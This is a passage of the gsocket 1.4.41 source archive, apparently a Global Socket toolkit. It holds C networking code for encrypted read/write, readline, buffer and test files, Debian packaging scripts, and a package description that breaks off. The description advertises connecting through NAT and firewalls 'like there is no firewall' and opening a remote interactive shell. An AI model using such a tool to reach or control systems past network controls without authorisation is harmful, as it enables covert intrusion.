ctx->flags_proto |= GS_FL_PROTO_SERVER_CHECK;
}
// GS-FLAGS
else if (level == GS_OPT_BLOCK)
ctx->gs_flags &= ~GSC_FL_NONBLOCKING;
else if (level == GS_OPT_NO_ENCRYPTION)
ctx->gs_flags &= ~GSC_FL_USE_SRP;
else if (level == GS_OPT_SINGLESHOT)
ctx->gs_flags |= GS_FL_SINGLE_SHOT;
// OPTIONS
else if (level == GS_OPT_USE_SOCKS)
{
/* Set if not already set from GS_CTX_init() */
if (ctx->socks_ip == 0)
ctx->socks_ip = inet_addr(GS_SOCKS_DFL_IP);
} else
return -1; // UNKNOWN option
return 0; // Success
}
void
GS_FD_CLR_R(GS *gs)
{
GS_SELECT_CTX *sctx = gs->ctx->gselect_ctx;
int fd = gs->fd;
if (sctx->is_rw_state_saved[fd])
{
// DEBUGF_R("Clearing fd=%d in SAVES state\n", fd);
/* Add to saved state */
sctx->saved_rw_state[fd] &= ~0x01; /* clear READ */
} else {
// DEBUGF_R("Clearing fd=%d in rfd state\n", fd);
FD_CLR(fd, sctx->rfd);
}
}
/*
* Return 0 on WOULD_BLOCK
* Return FATAL on error
* Return EOF
* Return length on SUCCESS
*/
ssize_t
GS_read(GS *gsocket, void *buf, size_t count)
{
ssize_t len;
int err = 0;
// DEBUGF("GS_read(fd = %d)...\n", gsocket->fd);
GS_SELECT_CTX *sctx = gsocket->ctx->gselect_ctx;
DEBUG_SETID(gsocket);
if (gsocket->flags & GSC_FL_USE_SRP)
{
#ifndef WITH_GSOCKET_SSL
return GS_ERR_FATAL;
#else
len = gs_ssl_continue(gsocket, GS_CAN_READ);
// DEBUGF("gs_ssl_continue()==%zd, ssl-state=%d\n", len, gsocket->ssl_state);
if (len <= 0)
return len;
len = SSL_read(gsocket->ssl, buf, count);
if (len <= 0)
{
err = SSL_get_error(gsocket->ssl, len);
DEBUGF_Y("fd=%d, SSL Error: ret = %zd, err = %d (%s) %s\n", gsocket->fd, len, err, GS_SSL_strerror(err), strerror(errno));
gs_set_errorf(gsocket, "SSL: %s", ERR_error_string(err, NULL));
}
#endif
} else {
len = read(gsocket->fd, buf, count);
// DEBUGF_M("read(fd=%d) = %zd, errno = %d\n", gsocket->fd, len, errno);
if (len == 0)
{
/* See BUG-TCP-SHUTDOWN: We must stop calling read() if we received
* a shutdown() or close() [can not differentiate]. Stop receiving
* but still allow sending until write() fails or stdin closes (for gs-pipe)
*/
/* Must clear both so to never ever read() again (cleartext) */
GS_FD_CLR_R(gsocket);
FD_CLR(GS_get_fd(gsocket), gsocket->ctx->rfd);
err = SSL_ERROR_ZERO_RETURN;
}
if (len < 0)
{
if ((errno != EAGAIN) && (errno != EINTR))
return GS_ERR_FATAL;
err = SSL_ERROR_WANT_READ;
}
}
/* SSL_ERROR_ZERO_RETURNS successfully read from socket (an error message, but
* nevertheless...we can get out of our saved state gain)
*/
if ((len > 0) || (err == SSL_ERROR_ZERO_RETURN))
{
errno = 0;
gsocket->ts_net_io = GS_TV_TO_USEC(gsocket->ctx->tv_now);
gsocket->bytes_read += len;
// DEBUGF("write_pending=%d\n", gsocket->write_pending);
if (gsocket->write_pending == 0)
gs_ssl_want_io_finished(gsocket);
gsocket->read_pending = 0;
gsocket->ctx->gselect_ctx->blocking_func[gsocket->fd] &= ~GS_CALLREAD;
// gsocket->ctx->gselect_ctx->current_func[gsocket->fd] = 0;
/* Mark if there is still data in the input buffer so another cb is done */
#ifdef WITH_GSOCKET_SSL
if ((gsocket->ssl) && (SSL_pending(gsocket->ssl) > 0))
{
DEBUGF("rdata-pending\n");
gs_select_set_rdata_pending(gsocket->ctx->gselect_ctx, gsocket->fd, SSL_pending(gsocket->ssl));
}
#endif
}
if (len > 0)
return len; // HERE: len > 0
/* ERROR */
if (err == SSL_ERROR_ZERO_RETURN)
{
gsocket->eof_count++;
DEBUGF_R("%d. EOF received by gs (fd = %d).\n", gsocket->eof_count, gsocket->fd);
/* Second EOF means that the underlying transport was shut (TCP). It's a hard fail. */
if (gsocket->eof_count >= 2)
return GS_ERR_FATAL;
/* We sent shutdown already and now we receive a shutdown => Destroy connection. */
if (gsocket->is_sent_shutdown)
{
DEBUGF_B("I sent a shutdown already. Destroy connection now.\n");
return GS_ERR_FATAL;
}
return GS_ERR_EOF;
}
gsocket->read_pending = 1;
int ret;
ret = 0;
if (err == SSL_ERROR_WANT_WRITE)
{
sctx->blocking_func[gsocket->fd] |= GS_CALLREAD;
ret = gs_ssl_want_io_rw(sctx, gsocket->fd, err);
}
if (err != SSL_ERROR_WANT_READ)
return GS_ERR_FATAL; // Any other error
return ret;
}
void
GS_SELECT_FD_SET_W(GS *gs)
{
GS_SELECT_CTX *sctx = gs->ctx->gselect_ctx;
int fd = gs->fd;
if (sctx->is_rw_state_saved[fd])
{
/* Add to saved state */
sctx->saved_rw_state[fd] |= 0x02; /* add WRITE */
} else {
XFD_SET(fd, sctx->wfd);
}
}
/*
* Return 0 on WOULD_BLOCK
* Return -1 on error
* Return -2 nothing to be done.
* Return lengh on SUCCESS
*/
ssize_t
GS_write(GS *gsocket, const void *buf, size_t count)
{
ssize_t len;
int err;
DEBUG_SETID(gsocket);
// If already in a stored state then modify the stored state and return to caller
// that to be called again (caller must not modify rfd/wfd as this is used by SSL...)
GS_SELECT_CTX *sctx = gsocket->ctx->gselect_ctx;
// DEBUGF("fd=%d, count=%zu is_state_saved=%d(==%d), pending=%d\n", gsocket->fd, count, sctx->is_rw_state_saved[gsocket->fd], sctx->saved_rw_state[gsocket->fd], gsocket->write_pending);
if (sctx->is_rw_state_saved[gsocket->fd])
{
/* HERE: *write() blocked previously or SSL_read() WANTS-WRITE */
if (gsocket->write_pending == 0)
{
/* HERE: GS_write() was called but SSL still busy with SSL_read/SSL_accpet/SSL_connect.
* Set wfd in saved state so that when state is restored this function
* is triggered.
*/
DEBUGF_R("*** WARNING **** Wanting to write app data (%zu) while SSL is busy..\n", count);
GS_SELECT_FD_SET_W(gsocket);
/* This should never be called again because we disable cmd's FD-IN */
return 0; /* WOULD BLOCK */
}
/* HERE: w-fd became writeable while in saved state */
}
// DEBUGF("GS_write(%zu) to fd = %d, ssl = %p\n", count, gsocket->fd, gsocket->ssl);
if (gsocket->flags & GSC_FL_USE_SRP)
{
#ifndef WITH_GSOCKET_SSL
return -1;
#else
len = gs_ssl_continue(gsocket, GS_CAN_WRITE);
if (len <= 0)
{
// HERE: ssl-state continued. Return.
DEBUGF("gs_ssl_continue()==%zd\n", len);
return len;
}
// No state to continue
if (count == 0)
{
// This can happen if we receive an app-ping. This sets
// wfd (for writing) to wake up to send the pong-reply.
// The write-callback is called and does not know if the SSL-state
// has to continue (wanted write?) or if it is an outstanding pong-reply.
// Thus the callback calls GS_write() and _here_ we determine that no
// SSL-state needed attention. The caller then sends the pong.
DEBUGF_C("GS_write() with no data. NO stuck state either.\n");
return -2;
}
len = SSL_write(gsocket->ssl, buf, count);
// DEBUGF_M("SSL_write(%zu) == %zd\n", count, len);
if (len <= 0)
{
err = SSL_get_error(gsocket->ssl, len);
DEBUGF_Y("fd=%d (count=%zu), SSL Error: ret = %zd, err = %d (%s)\n", gsocket->fd, count, len, err, GS_SSL_strerror(err));
}
#endif
} else {
if (count == 0)
return -2; // Nothing to be done.
len = write(gsocket->fd, buf, count);
// DEBUGF("write(%zu) = %zd (%s)\n", count, len, errno==0?"ok":strerror(errno));
if (len <= 0)
{
if ((errno != EAGAIN) && (errno != EINTR))
return -1;
err = SSL_ERROR_WANT_WRITE;
}
}
if (len > 0)
{
errno = 0;
gsocket->ts_net_io = GS_TV_TO_USEC(gsocket->ctx->tv_now);
gsocket->bytes_written += len;
if (gsocket->read_pending == 0)
gs_ssl_want_io_finished(gsocket);
gsocket->write_pending = 0;
sctx->blocking_func[gsocket->fd] &= ~GS_CALLWRITE;
FD_CLR(gsocket->fd, sctx->wfd);
return len;
}
/* ERROR */
int ret;
ret = 0;
#if 1
sctx->blocking_func[gsocket->fd] |= GS_CALLWRITE;
ret = gs_ssl_want_io_rw(sctx, gsocket->fd, err);
#endif
gsocket->write_pending = 1;
// DEBUGF("write = %zd %s\n", len, strerror(errno));
return ret;
}
/******************************************************************************
* GS UTILS *
******************************************************************************/
/*
* Convert usec into human readable string of duration.
* '123hrs 59min 59.283sec'
*/
char *
GS_usecstr(char *buf, size_t len, uint64_t usec)
{
static char buf2[64];
char *ptr = buf;
if (buf == NULL)
{
len = sizeof buf2;
ptr = buf2;
}
int sec;
int min;
int msec;
int hr;
// usec = (uint64_t)((2*60*60+61)*1000 + 123) * 1000;
msec = (usec / 1000) % 1000;
sec = usec / 1000000;
hr = sec / 3600;
sec -= hr * 3600;
min = sec / 60;
sec -= min * 60;
*ptr = 0;
if (hr != 0)
snprintf(ptr, len, "%dhrs %2dmin %2d.%03dsec", hr, min, sec, msec);
else
snprintf(ptr, len, "%2d min %2d.%03d sec", min, sec, msec);
return ptr;
}
/*
* Convert bytes into human readable string (TB, MB, KB or B).
*/
char *
GS_bytesstr(char *dst, size_t len, int64_t bytes)
{
static char buf2[64];
char *ptr = dst;
if (dst == NULL)
{
len = sizeof buf2;
ptr = buf2;
}
int i;
bytes *= 100;
for (i = 0; bytes >= 100*1000 && unit[i] != 'T'; i++)
bytes = (bytes + 512) / 1024;
snprintf(ptr, len, "%3lld.%1lld%c%s",
(long long) (bytes + 5) / 100,
(long long) (bytes + 5) / 10 % 10,
unit[i],
i ? "B" : " ");
return ptr;
}
/*
* Convert bytes into full length string with thousands seperation ','
*/
char *
GS_bytesstr_long(char *dst, size_t len, int64_t bytes)
{
if (dst == NULL)
return NULL;
int m = bytes / 1000 / 1000;
bytes -= m * 1000 * 1000;
int k = bytes / 1000;
bytes -= k * 1000;
if (m > 0)
snprintf(dst, len, "%d,%03d,%03d", m, k, (int)bytes);
else if (k > 0)
snprintf(dst, len, "%d,%03d", k, (int)bytes);
else
snprintf(dst, len, "%d", (int)bytes);
return dst;
}
/*
* Create 'local' timestamp logfile style.
*/
const char *
GS_logtime(void)
{
static char tbuf[64];
int s_errno = errno; // muslcc bug where localtime() sets errno to 2 or 22 on success.
time_t t = time(NULL);
strftime(tbuf, sizeof tbuf, "%c", localtime(&t));
errno = s_errno;
return tbuf;
}
/*
* Set the 'listen' token. This will stop a client (who knows the secret) to
* impersonate a server (while the server is connected).
*
* A User might decide to use the same 'token' as a kind of master password
* for all its servers. We like not to be able to track the User. Thus the
* token is a hash over TOKEN-STRING + GS-ADDRESS. This makes every token unique
* per GS-ADDRESS.
*
* FIXME: extend this later to use as an auth-token:
* - store token on GS-net server side
* - Any 'server' connecting must present same token to be allowed
* to send pkt-listen message.
* - User can control this with e.g. '-a '
*/
void
GS_set_token(GS *gs, const void *data, size_t len)
{
unsigned char md[SHA256_DIGEST_LENGTH];
uint8_t *input;
if (data == NULL)
RAND_bytes(gs->token, sizeof gs->token);
else {
input = malloc(len + sizeof gs->gs_addr.addr);
memcpy(input, data, len);
memcpy(input + len, gs->gs_addr.addr, sizeof gs->gs_addr.addr);
SHA256(input, len + sizeof gs->gs_addr.addr, md);
memcpy(gs->token, md, sizeof gs->token);
free(input);
}
HEXDUMPF(gs->token, sizeof gs->token, "Token:\n");
}
int
GS_is_server(GS *gs)
{
return gs->flags & GS_FL_IS_SERVER;
}
gsocket-1.4.41/lib/Makefile.am 0000755 0001750 0001750 00000000656 14503376047 015771 0 ustar epsilon epsilon noinst_LIBRARIES = libgsocket.a
noinst_PROGRAMS = @PROGRAMS_TEST_LIB@
EXTRA_PROGRAMS = list-test event-test
libgsocket_a_SOURCES = gsocket-util.c gsocket-select.c gsocket-ssl.c gsocket-engine.c packet.c gs-readline.c list.c event.c buf.c
list_test_SOURCES = list-test.c
list_test_LDADD = libgsocket.a
event_test_SOURCES = event-test.c
event_test_LDADD = libgsocket.a
noinst_HEADERS = gs-common.h gs-externs.h gsocket-engine.h
gsocket-1.4.41/lib/gs-readline.c 0000644 0001750 0001750 00000011623 14503376047 016264 0 ustar epsilon epsilon #include "gs-common.h"
#include
#include "gs-externs.h"
#define GS_RL_DEL 0x7f /* ^? */
int
GS_RL_init(GS_RL_CTX *rl, int len)
{
memset(rl, 0, sizeof *rl);
rl->visible_len = MIN(GS_RL_VISIBLE_MAX, len);
rl->row = -1;
return 0;
}
/*
*/
static void
handle_backspace(GS_RL_CTX *rl)
{
if (rl->pos > 0)
rl->pos--;
rl->line[rl->pos] = 0x00;
}
/*
* Create visible characters based on normal 'key' input
* and limited to visible_len (may add '..' to start)
*
* Create esc-sequence to handle arrow/del/backspace
*
* Might be called with key == 0 on resize.
*/
static void
visible_create(GS_RL_CTX *rl, int row, int col, uint8_t key)
{
char *s_end = rl->line + rl->pos;
char *src = rl->line;
// Location of prompt has changed (window resize?)
if ((rl->row != row) || (rl->col != col))
{
// First time. Assume caller has cursor in correct pos
if (rl->row != -1)
rl->is_need_redraw = 1;
rl->row = row;
rl->col = col;
}
if (rl->pos > rl->visible_len)
rl->is_need_redraw = 1;
if ((rl->v_pos == 0) && (key == GS_RL_DEL))
{
// No data left to delete. Skip.
rl->esc_len = 0;
goto done;
}
if (rl->is_need_redraw == 0)
{
/* Try to just add character */
if (rl->pos == rl->visible_len)
{
// From ".." to ""
rl->is_need_redraw = 1;
} else if (rl->pos < rl->visible_len) {
if (key == GS_RL_DEL)
{
// Move left, print \s, move left
memcpy(rl->esc_data, "\x1B[D \x1B[D", 7);
rl->esc_len = 7;
goto done;
}
rl->esc_data[0] = key;
rl->esc_len = 1;
rl->vline[rl->v_pos] = key;
goto done;
}
}
if (rl->pos > rl->visible_len)
src = s_end - rl->visible_len;
char *d_end = rl->esc_data + GS_RL_ESC_MAX - 1;
char *ptr = rl->esc_data;
if (rl->is_need_redraw)
{
DEBUGF_Y("moving to %d;%df\n", row, col);
SXPRINTF(ptr, d_end - ptr, "\x1B[%d;%df", row, col);
}
size_t len;
len = MIN(s_end - src, d_end - ptr);
memcpy(ptr, src, len);
// Set '..' is larger than visible length...
if (rl->pos > rl->visible_len)
memset(ptr, '.', 2);
len = MIN(rl->visible_len, rl->pos);
memcpy(rl->vline, ptr, len);
len = ptr - rl->esc_data + len;
XASSERT(len < sizeof (rl->esc_data), "BO len = %zd\n", len);
rl->esc_data[len] = 0x00;
rl->esc_len = len;
rl->is_need_redraw = 0;
done:
rl->v_pos = MIN(rl->visible_len, rl->pos);
rl->vline[rl->v_pos] = 0x00;
}
void
GS_RL_reset(GS_RL_CTX *rl)
{
size_t vl = rl->visible_len;
int row = rl->row;
DEBUGF_Y("RL reset\n");
memset(rl, 0, sizeof *rl);
rl->visible_len = vl;
rl->row = row;
}
/*
* len is the length.
* row/col is the starting position of the prompt.
*
* Should be called every time the screen resizes.
*/
void
GS_RL_resize(GS_RL_CTX *rl, int len, int row, int col)
{
rl->visible_len = MIN(GS_RL_VISIBLE_MAX, len);
rl->row = 0; // triggers a is_need_redraw := 1
visible_create(rl, row, col, 0);
}
/*
* Offer data to readline.
*
* row/col are the cordinated where the input line starts (and to which pos)
* the cursor resets when '\n' is hit.
*
* Return <0 if it was an unhandled control character (stored in *key)
* This is also set if \n is pressed (end of readline input)
* Return 1 if more data is required.
*/
int
GS_RL_add(GS_RL_CTX *rl, uint8_t c, uint8_t *key, int row, int col)
{
uint8_t k = 0;
// rl->is_need_redraw = 1; // DEFAULT: FIXME-PERFORMANCE
// ^A or ^OA
DEBUGF_W("esc=%d c=0x%02x r%d,c%d\n", rl->is_in_esc, c, row, col);
if (rl->is_in_esc)
{
if ((rl->is_in_esc == 1) && (c == 'O'))
{
rl->is_in_esc = 2;
return 1; // More data required.
}
int rv = 1;
if ((c >= 'a') && (c <= 'z'))
rv = 0;
else if ((c >= 'A') && (c <= 'Z'))
rv = 0;
if (rv == 1)
return 1; // More data required.
DEBUGF_W("Out of ESC with c = 0x%02x\n", c);
rl->is_in_esc = 0;
k = c;
}
if (k != 0)
{
// Cursor left
if (k == 'D')
{
handle_backspace(rl);
visible_create(rl, row, col, GS_RL_DEL);
return 1;
}
// Any other cursor
// if ((k == 'A') || (k == 'B') || (k == 'C'))
// return 1;
goto ret_unhandled;
}
if (c == 0x1b)
{
DEBUGF_W("Going into escape\n");
rl->esc_len = 0;
rl->is_in_esc = 1;
return 1; // More data required
}
if ((c == GS_RL_DEL /*^?*/) || (c == 0x08 /*^H*/))
{
// Backspace
handle_backspace(rl);
visible_create(rl, row, col, GS_RL_DEL);
return 1;
}
if (c == '\r')
c = '\n'; // treat all \r as \n
k = c;
if (c == '\n')
{
/* Enter pressed */
rl->line[rl->pos] = 0x00;
rl->len = rl->pos;
/* Delete visible input from screen */
if (rl->pos > 0)
{
rl->esc_len = 0;
rl->v_pos = 0;
}
rl->pos = 0;
goto ret_unhandled;
}
// Unhandled control character
if ((c < 0x20) || (c > 0x7E))
{
DEBUGF("Unhandled: 0x%02x\n", c);
goto ret_unhandled;
}
if (rl->pos >= GS_RL_LINE_MAX)
return 1;
rl->line[rl->pos] = c;
rl->pos++;
rl->line[rl->pos] = 0x00;
visible_create(rl, row, col, c);
return 1;
ret_unhandled:
rl->esc_len = 0;
*key = k;
return -1;
}
gsocket-1.4.41/lib/buf.c 0000644 0001750 0001750 00000004664 14503376047 014655 0 ustar epsilon epsilon /*
* A FIFO like buffer to. Used by file transfer as a write-buffer to queue
* control messages (such as chn_accept, chn_error, ...).
*/
#include "gs-common.h"
#include
#include "gs-externs.h"
void
GS_BUF_init(GS_BUF *gsb, size_t sz_max_add)
{
memset(gsb, 0, sizeof *gsb);
gsb->sz_max_add = sz_max_add;
// gsb->sz_total = 16*1024*1024; // FIXME
// gsb->data = malloc(gsb->sz_total); // FIXME
GS_BUF_resize(gsb, 0);
}
void
GS_BUF_free(GS_BUF *gsb)
{
XFREE(gsb->data);
memset(gsb, 0, sizeof *gsb);
}
// Adjust size to have at least sz_min_free available.
int
GS_BUF_resize(GS_BUF *gsb, size_t sz_new)
{
if (GS_BUF_UNUSED(gsb) >= sz_new + gsb->sz_max_add)
return 0;
size_t t = gsb->sz_used + sz_new + gsb->sz_max_add;
// Round the new size to the next 1k boundary
gsb->sz_total = t - (t % 1024) + 1024;
DEBUGF_R("realloc to %zu, used %zu\n", gsb->sz_total, gsb->sz_used);
gsb->data = realloc(gsb->data, gsb->sz_total);
if (gsb->data == NULL)
{
// Fatal.
GS_BUF_free(gsb);
return -1;
}
return 0;
}
int
GS_BUF_add_length(GS_BUF *gsb, size_t len)
{
// Bail. There is sz_max_add space available but looks like caller wrote
// more data...
XASSERT(len <= GS_BUF_UNUSED(gsb), "Not enough space in buffer\n");
gsb->sz_used += len;
// Resize
GS_BUF_resize(gsb, 0);
return 0;
}
int
GS_BUF_add_data(GS_BUF *gsb, void *data, size_t len)
{
GS_BUF_resize(gsb, len);
memcpy((uint8_t *)gsb->data + gsb->sz_used, data, len);
gsb->sz_used += len;
return 0;
}
int
GS_BUF_printf(GS_BUF *gsb, const char *fmt, ...)
{
va_list ap;
int rv;
va_start(ap, fmt);
rv = vsnprintf((char *)GS_BUF_WDST(gsb), GS_BUF_UNUSED(gsb), fmt, ap);
va_end(ap);
if (rv <= 0)
return 0;
if (rv >= GS_BUF_UNUSED(gsb))
{
// Make buffer larger...
GS_BUF_resize(gsb, rv - GS_BUF_UNUSED(gsb) + 1 /*\0*/);
va_start(ap, fmt);
rv = vsnprintf((char *)GS_BUF_WDST(gsb), GS_BUF_UNUSED(gsb), fmt, ap);
va_end(ap);
if (rv <= 0)
return 0;
}
gsb->sz_used += rv;
GS_BUF_resize(gsb, 0);
return 0;
}
int
GS_BUF_memmove(GS_BUF *gsb, void *data, size_t len)
{
GS_BUF_resize(gsb, len);
memmove((uint8_t *)gsb->data + gsb->sz_used, data, len);
gsb->sz_used += len;
return 0;
}
/*
* Consume data from beginning.
*/
int
GS_BUF_del(GS_BUF *gsb, size_t len)
{
XASSERT(gsb->sz_used >= len, "Cant. used=%zu, len=%zu\n", gsb->sz_used, len);
gsb->sz_used -= len;
memmove(gsb->data, (uint8_t *)gsb->data + len, gsb->sz_used);
return 0;
}
gsocket-1.4.41/lib/list-test.c 0000644 0001750 0001750 00000004432 14503376047 016022 0 ustar epsilon epsilon #include "gs-common.h"
#include
#include "gs-externs.h"
static void
output(GS_LIST *list)
{
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(list, li);
if (li == NULL)
break;
DEBUGF("add_id = %d, id = %"PRIu64"\n", li->add_id, li->id);
}
}
static void
check_order(GS_LIST *list)
{
// Check order is still ok
int n = 0;
GS_LIST_ITEM *li = NULL;
GS_LIST_ITEM *next;
while (1)
{
li = GS_LIST_next(list, li);
if (li == NULL)
break;
next = (GS_LIST_ITEM *)li->next;
if (next != NULL)
{
XASSERT(li->id <= next->id, "not in order %"PRIu64" <= %"PRIu64"\n", li->id, next->id);
if (li->id == next->id)
{
XASSERT(li->add_id < next->add_id, "Wrong order\n");
}
}
n++;
}
}
int
main(int argc, char *argv[])
{
GS_LIST list;
GS_library_init(stderr, stderr, NULL);
srand(time(NULL));
GS_LIST_init(&list, 0);
GS_LIST_ITEM *li = NULL;
//Check that GS_LIST_next() is working
int n = 0;
while (1)
{
li = GS_LIST_next(&list, li);
if (li == NULL)
break;
n += 1;
}
XASSERT(n == 0, "n is %d != 0\n", n);
// Add entries with random id's.
int max = 10000;
n = 0;
uint64_t id;
int max_id = 20;
while (n < max)
{
id = rand() % max_id;
GS_LIST_add(&list, NULL, "dummy data", id);
// Check order after every entry
check_order(&list);
n++;
}
int total = n;
// output(&list);
DEBUGF("Items in list: %d\n", list.n_items);
// Delete / Add randomly until no items are left
int chance;
int pos;
int del_count = 0;
int add_count = 0;
while (total > 0)
{
chance = 0;
chance = rand() % 3; // 1/3 chance for GS_LIST_add()
if (chance == 2)
{
id = rand() % max_id;
GS_LIST_add(&list, NULL, "new dummy", id);
total += 1;
add_count += 1;
check_order(&list);
continue;
}
pos = rand() % total;
li = GS_LIST_by_pos(&list, pos);
XASSERT(li != NULL, "requested pos that doesnt exist (pos = %d, total = %d)\n", pos, total);
GS_LIST_del(li);
check_order(&list);
total--;
del_count += 1;
check_order(&list);
}
XASSERT(del_count == add_count + max, "Oops. deleted = %d but total+add = %d\n", del_count, add_count + max);
output(&list);
DEBUGF("Randomly added while deleting at the same: %d\n", add_count);
DEBUGF("Items in list: %d\n", list.n_items);
DEBUGF("hello world\n");
return 0;
}
gsocket-1.4.41/lib/event-test.c 0000644 0001750 0001750 00000002130 14503376047 016161 0 ustar epsilon epsilon #include "gs-common.h"
#include
#include "gs-externs.h"
static int
cb_event(void *ptr)
{
#ifdef DEBUG
GS_EVENT *event = (GS_EVENT *)ptr;
#endif
DEBUGF("Event callback...(data = '%s', len = %zd)\n", (char *)event->data, event->len);
return 0;
}
int
main(int argc, char *argv[])
{
GS_EVENT_MGR mgr;
GS_EVENT my_e;
GS_EVENT *my_e_ptr;
GS_library_init(stderr, stderr, NULL);
srand(time(NULL));
GS_EVENT_MGR_init(&mgr);
my_e_ptr = GS_EVENT_add_by_ts(&mgr, NULL, 0, GS_SEC_TO_USEC(1), cb_event, "foobar", 7);
// Every 2 seconds return to caller
my_e_ptr = GS_EVENT_add_by_ts(&mgr, NULL, 0, GS_SEC_TO_USEC(2), NULL, "caller-action", 7);
GS_EVENT_add_by_ts(&mgr, &my_e, 0, GS_MSEC_TO_USEC(437), cb_event, "foobar500", 31337);
if (my_e_ptr == NULL)
ERREXIT("add_by_ts()\n");
uint64_t wait;
while (1)
{
wait = GS_EVENT_execute(&mgr);
DEBUGF_G("Next event in %"PRIu64" usec\n", wait);
if (mgr.is_return_to_caller)
DEBUGF_C("Return to caller triggered\n");
usleep(wait);
// GS_EVENT_del(my_e_ptr);
// my_e_ptr = NULL;
// GS_EVENT_DEL(&my_e);
}
return 0;
}
gsocket-1.4.41/lib/gs-externs.h 0000644 0001750 0001750 00000000432 14503376047 016172 0 ustar epsilon epsilon
#ifndef __LIBGSOCKET_GS_EXTERNS_H__
#define __LIBGSOCKET_GS_EXTERNS_H__ 1
#ifdef DEBUG
extern FILE *gs_dout;
extern int gs_did;
extern int gs_debug_level;
#endif
extern FILE *gs_errfp;
void gs_log(int type, int level, char *fmt, ...);
#endif /* !__LIBGSOCKET_GS_EXTERNS_H__ */
gsocket-1.4.41/packaging/ 0000755 0001750 0001750 00000000000 14503376047 015101 5 ustar epsilon epsilon gsocket-1.4.41/packaging/debian-deb/ 0000755 0001750 0001750 00000000000 14503376047 017053 5 ustar epsilon epsilon gsocket-1.4.41/packaging/debian-deb/build.sh 0000755 0001750 0001750 00000001650 14503376047 020513 0 ustar epsilon epsilon #! /bin/bash
test -d /gsocket-src || { echo >&2 "/gsocket-src does not exists."; exit 255; }
test -d /gsocket-deb || { echo >&2 "/gsocket-deb does not exists."; exit 255; }
[[ -z "$VER" ]] && { echo >&2 "VER not set"; exit 255; }
PREFIX="/gsocket-deb/build/gsocket_${VER}_all"
[[ -e "${PREFIX}" ]] && rm -rf "${PREFIX:?}"
mkdir -p "${PREFIX}/DEBIAN" && \
sed "s/@@VER@@/$VER/" < /gsocket-deb/DEBIAN/control.in >"${PREFIX}/DEBIAN/control" && \
cd /gsocket-src && \
./configure --prefix="${PREFIX}/usr" --enable-realprefix=/usr && \
make install && \
cd /gsocket-deb/build && \
mv "${PREFIX}/usr/etc" "${PREFIX}" && \
find "$PREFIX" -type d -exec chmod 755 {} \; && \
dpkg-deb --build gsocket_${VER}_all/ && \
dpkg -i "gsocket_${VER}_all.deb" && \
dpkg -r gsocket && \
dpkg -l | grep gsocket || IS_OK=1
[[ -z "$IS_OK" ]] && { echo >&2 "error"; exit 255; }
mv "gsocket_${VER}_all.deb" "/gsocket-pkg/build" || exit 255
echo "SUCCESS."
gsocket-1.4.41/packaging/debian-deb/DEBIAN/ 0000755 0001750 0001750 00000000000 14503376047 017775 5 ustar epsilon epsilon gsocket-1.4.41/packaging/debian-deb/DEBIAN/control.in 0000755 0001750 0001750 00000000435 14503376047 022012 0 ustar epsilon epsilon Package: gsocket
Version: @@VER@@
Homepage: https://gsocket.io
Architecture: all
Essential: no
Priority: optional
Depends: sshfs
Maintainer: Skyper/THC
Description: The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.
gsocket-1.4.41/packaging/debian-deb/build_all.sh 0000755 0001750 0001750 00000001537 14503376047 021347 0 ustar epsilon epsilon #! /bin/bash
BASEDIR="$(cd "$(dirname "${0}")/../.." || exit; pwd)"
VER="$(grep AC_INIT "${BASEDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')"
PKGDIR="${BASEDIR}/packaging"
SRCDIR="${BASEDIR}/packaging/build/gsocket-${VER}"
DEBDIR="${BASEDIR}/packaging/debian-deb"
if [[ ! -f "${SRCDIR}/configure.ac" ]]; then
tar_orig="${BASEDIR}/gsocket-${VER}.tar.gz"
[[ -f "$tar_orig" ]] && (cd "${BASEDIR}/packaging/build" && tar xfz "$tar_orig")
fi
[[ -d "$SRCDIR" ]] || { echo >&2 "Source not found: $SRCDIR or ${tar_orig}."; exit 255; }
dockername="gs-x86_64-debian-devel"
docker run --rm -it "${dockername}" true || (cd "${DEBDIR}" && docker build -t "${dockername}" . ) || { exit 255; }
docker run --rm -v "${PKGDIR}:/gsocket-pkg" -v "${SRCDIR}:/gsocket-src" -v "${DEBDIR}:/gsocket-deb" -e VER=$VER -it "${dockername}" /gsocket-deb/build.sh || { exit 255; }
gsocket-1.4.41/packaging/debian-deb/Dockerfile 0000644 0001750 0001750 00000000474 14503376047 021052 0 ustar epsilon epsilon # Debian: :stable still runs on openssl-1.1.0 and but kali and most debian
# derived need openssl3.
FROM debian:sid
RUN apt update -y && \
apt install -y --no-install-recommends git sshfs libssl-dev libc6-dev automake gcc make curl ca-certificates && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
echo done
gsocket-1.4.41/packaging/openwrt/ 0000755 0001750 0001750 00000000000 14503376047 016577 5 ustar epsilon epsilon gsocket-1.4.41/packaging/openwrt/gsocket/ 0000755 0001750 0001750 00000000000 14503376047 020236 5 ustar epsilon epsilon gsocket-1.4.41/packaging/openwrt/gsocket/test.sh 0000755 0001750 0001750 00000000052 14503376047 021551 0 ustar epsilon epsilon #!/bin/sh
gs-netcat -h 2>&1 | grep "$2"
gsocket-1.4.41/packaging/openwrt/gsocket/Makefile 0000644 0001750 0001750 00000005102 14503376047 021674 0 ustar epsilon epsilon include $(TOPDIR)/rules.mk
PKG_NAME:=gsocket
PKG_VERSION:=1.4.39
PKG_RELEASE:=1
PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
PKG_SOURCE_URL:=https://github.com/hackerschoice/gsocket/releases/download/v$(PKG_VERSION)/
PKG_HASH:=2042b3773e03285939fe7f0d0597a77c8d4958644b1d8a366cc71d384f1e5c30
PKG_MAINTAINER:=Ralf Kaiser
PKG_LICENSE:=BSD-2-Clause
PKG_LICENSE_FILES:=LICENSE
include $(INCLUDE_DIR)/package.mk
define Package/gsocket
SECTION:=net
CATEGORY:=Network
DEPENDS:=+libopenssl
TITLE:=Connect like there is no firewall
URL:=https://gsocket.io
endef
define Package/gsocket/description
Global Socket allows two workstations on different private networks to
communicate with each other. Through firewalls and through NAT - like
there is no firewall.
The TCP connection is secured with AES-256 and using OpenSSL's SRP
protocol (RFC 5054). It does not require a PKI and has forward
secrecy and (optional) TOR support.
The gsocket tools derive temporary session keys and IDs and connect
two TCP pipes through the Global Socket Relay Network (GSRN). This is
done regardless and independent of the local IP Address or geographical
location.
The session keys (secrets) never leave the workstation. The GSRN sees only
the encrypted traffic.
The workhorse is 'gs-netcat' which opens a ssh-like interactive PTY
command shell to a remote workstation (which resides on a private and
